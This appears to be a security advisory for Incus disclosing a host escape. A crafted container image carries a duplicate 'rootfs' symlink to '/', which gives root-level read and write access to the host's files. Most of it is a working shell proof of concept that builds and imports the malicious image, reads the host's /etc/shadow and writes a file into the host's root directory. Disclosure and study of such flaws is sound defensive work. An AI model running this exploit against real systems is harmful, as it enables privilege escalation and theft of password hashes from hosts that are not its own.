Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Details Incus validates an image as soon as it sees a normal "metadata.yaml" and a "rootfs/" entry, but full extraction can later process a duplicate top-level "rootfs" symlink. Later, the stopped-container file API opens "d.RootfsPath()" and passes that file descriptor to "forkfile", which chroots to it. metadata.yaml rootfs/ rootfs -> / In practice, this allows a malicious actor to access the host's filesystem with root privileges. PoC Below, we map the container's rootfs to "/" on the host, but it can be mapped anywhere. We then retrieve the host's "/etc/shadow" file and create a file in "/". #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<EOF>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw EOF cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.